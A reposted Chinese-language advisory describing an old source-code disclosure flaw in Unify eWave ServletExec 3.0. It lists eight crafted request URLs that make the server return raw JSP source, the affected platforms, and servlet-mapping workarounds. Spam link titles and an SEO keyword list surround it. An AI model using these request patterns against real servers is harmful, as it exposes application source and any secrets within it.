国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > JSP > 正文

Unify eWave ServletExec 泄露jsp源代碼漏洞 

2019-11-18 21:50:22
字體:
來源:轉載
供稿:網友
涉及程序:
ServletExec

描述:
在HTTP請求中添加特殊字符導致暴露jsp源代碼文件

詳細:
Unify eWave ServletExec 是一個 java/Java Servlet 引擎插件,主要用于 WEB 服務器,例如:Microsoft IIS, Apache, Netscape EnterPRise 服務器等等。

當一個 HTTP 請求中添加下列字符之一,ServletExec 將返回 JSP 源代碼文件。
.
%2E
+
%2B
/
%5C
%20
%00

成功的利用該漏洞將導致泄露指定的JSP文件的源代碼

例如:
使用下面的任意一個URL請求將輸出指定的JSP文件的源代碼:
http://target/directory/jsp/file.jsp.
http://target/directory/jsp/file.jsp%2E
http://target/directory/jsp/file.jsp+
http://target/directory/jsp/file.jsp%2B
http://target/directory/jsp/file.jsp/
http://target/directory/jsp/file.jsp%5C
http://target/directory/jsp/file.jsp%20
http://target/directory/jsp/file.jsp%00

受影響的系統:
Unify eWave ServletExec 3.0c
- Sun Solaris 8.0
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
- linux kernel 2.3.x
- IBM AIX 4.3.2
- HP HP-UX 11.4
Unify eWave ServletExec 3.0
- Sun Solaris 8.0
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
- Linux kernel 2.3.x
- IBM AIX 4.3.2
- HP HP-UX 11.4

解決方案:
臨時解決辦法:
如果沒有使用任何靜態頁面或圖像,可以配置一個默認的 servlet,并將“/”映射到這個默認的 servlet。這樣當收到一個未映射到某個 servlet 的 URL 時,這個默認的servlet 就會被調用。在這種情況下,默認的 servlet 可以僅僅返回“未找到文件”。如果使用了靜態的頁面或圖像,仍然可以作這樣的配置,但是需要讓這個默認的servlet 處理對合法的靜態頁面和圖像的請求。

另一種可能就是將*.jsp+、*.jsp.和*.jsp/等映射到一個 servlet,而該servlet只是返回“未找到文件”。對于*.jsp%00和*.jsp%20這樣的情況,映射應以未經編碼的形式輸入。例如,對于*.jsp%20的映射應輸入“*.jsp ”。注意%20被轉換成一個空格字符。


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 马鞍山市| 鄂尔多斯市| 会宁县| 田林县| 绥芬河市| 旬邑县| 高雄市| 太康县| 顺昌县| 灵山县| 香格里拉县| 桂东县| 金阳县| 托克逊县| 湖南省| 扶绥县| 泰宁县| 华容县| 日土县| 东至县| 四会市| 江永县| 稷山县| 定结县| 金湖县| 中方县| 苗栗市| 达拉特旗| 昭觉县| 达州市| 巍山| 大兴区| 虹口区| 萍乡市| 崇阳县| 高淳县| 南丹县| 垫江县| 大同市| 青州市| 常山县|